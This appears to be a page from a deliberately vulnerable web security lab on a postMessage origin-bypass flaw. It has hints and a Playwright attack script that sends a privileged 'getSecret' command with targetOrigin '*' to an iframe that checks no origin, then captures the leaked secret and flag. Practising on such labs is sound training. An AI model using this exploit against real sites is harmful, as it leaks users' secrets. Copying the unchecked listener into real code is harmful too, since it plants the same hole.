⚠ FOR SECURITY TESTING PURPOSES ONLY — DO NOT DEPLOY IN PRODUCTION
PostMessage
PostMessage Origin Bypass
The embedded frame listens to window.postMessage without validating event.origin. Any page can send privileged commands — getSecret, elevate, exfil — and receive sensitive data back.
> Show hints
- [1] The frame checks no origin — send from any page with targetOrigin='*'
- [2] Playwright: page.frames() to get the child frame, then frame.evaluate to postMessage
- [3] Or: open attacker page in one tab, embed target in iframe, postMessage across
- [4] Listen for the response with page.on('console') or inject a listener before sending
[1] Target Frame
The vulnerable listener runs inside this iframe. It accepts any message from any origin.
[2] Send Messages
Send arbitrary postMessage payloads to the frame. Responses are captured in the log below.
targetOrigin
[3] Message Log
[no messages yet]
[4] Playwright Attack Script
// Navigate to the lab page (attacker context)
await page.goto('/labs/postmessage');
// Get the vulnerable child frame
const frame = page.frame({ url: /postmessage-target/ });
// Inject a listener in the PARENT to capture the response
await page.evaluate(() => {
window.__captured = [];
window.addEventListener('message', (e) => window.__captured.push(e.data));
});
// Send the privileged command — no origin check, any origin accepted
await frame.evaluate(() => {
window.postMessage({ action: 'getSecret' }, '*');
});
await page.waitForTimeout(500);
const leaked = await page.evaluate(() => window.__captured);
console.log(leaked); // -> { secret: '...', flag: 'FLAG{...}' }